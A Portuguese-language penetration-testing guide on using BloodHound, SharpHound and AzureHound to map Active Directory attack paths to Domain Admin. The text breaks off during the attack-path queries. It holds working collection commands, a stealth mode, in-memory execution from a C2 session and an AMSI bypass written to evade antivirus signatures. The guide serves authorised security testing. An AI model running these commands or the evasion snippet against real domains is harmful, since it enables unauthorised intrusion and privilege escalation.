Realizando Análise do BloodHound no Active Directory

Visão Geral

BloodHound é uma ferramenta de reconhecimento de código aberto para Active Directory que utiliza a teoria dos grafos para revelar relacionamentos ocultos, caminhos de ataque e oportunidades de escalonamento de privilégios em ambientes de AD. Ao coletar dados com SharpHound (ou AzureHound para Azure AD), o BloodHound visualiza como um atacante pode escalar de um usuário com privilégios baixos para Administrador de Domínio através de cadeias de configurações incorretas, associações de grupos, abusos de ACL e relacionamentos de confiança. O MITRE ATT&CK classifica o BloodHound como software S0521.

Quando Usar

• Ao realizar avaliações de segurança que envolvam a análise do BloodHound no Active Directory.
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
• Ao realizar testes de segurança ou atividades de auditoria agendadas.
• Ao validar controles de segurança através de testes práticos.

Pré-requisitos

• Ponto de acesso inicial em um sistema Windows ingressado no domínio (ou credenciais de domínio válidas).
• BloodHound CE (Community Edition) ou BloodHound Legacy 4.x instalado.
• Coletor SharpHound (binário C# ou módulo PowerShell).
• Banco de dados Neo4j (Legacy) ou PostgreSQL (CE).
• Acesso à rede aos controladores de domínio (LDAP TCP/389, LDAPS TCP/636).

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Mapeamento MITRE ATT&CK

Etapa 1: Coleta de Dados com SharpHound

SharpHound.exe (Preferível para OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

Invoke-BloodHound (PowerShell)

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

AzureHound (Azure AD)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

Etapa 2: Importar Dados para o BloodHound

BloodHound CE (v5+)

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

BloodHound Legacy

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

Etapa 3: Análise de Caminhos de Ataque

Consultas Pré-construídas (Mais Críticas)

-- Encontrar todos os Administradores de Domínio
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Caminho mais curto de usuário possuído para Administrador de Domínio
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Encontrar usuários Kerberoastable com caminho para DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Encontrar usuários AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname


…